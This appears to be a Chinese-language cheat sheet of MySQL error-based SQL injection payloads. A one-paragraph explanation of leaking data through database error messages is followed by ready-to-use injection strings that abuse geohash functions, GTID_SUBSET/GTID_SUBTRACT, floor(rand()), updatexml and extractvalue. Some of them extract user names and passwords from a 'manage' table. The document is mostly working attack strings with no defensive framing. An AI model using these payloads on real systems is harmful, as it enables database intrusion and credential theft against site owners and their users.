报错注入概念

数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。但通过这种方式,首先要保证SQL结构的正确性。

1.ST_LatFromGeoHash()(mysql>=5.7.x)

and ST_LatFromGeoHash(concat(0x7e,(),0x7e))--+

2.ST_LongFromGeoHash(mysql>=5.7.x)

and ST_LongFromGeoHash(concat(0x7e,(),0x7e))--+

3.GTID (MySQL >= 5.6.X - 显错<=200)

0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID_SUBSET() 和 GTID_SUBTRACT()函数

0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

0x03 注入过程( payload )

GTID_SUBSET函数

') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

GTID_SUBTRACT

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

4.floor(8.x>mysql>5.0)

or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+

5.ST_Pointfromgeohash (mysql>=5.7)

or ST_PointFromGeoHash((),1)--+

6.updatexml

and updatexml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.

7.extractvalue

and extractvalue(1,concat(0x7e,())) --+一共可以接收两个参数,报错位置在第二个参数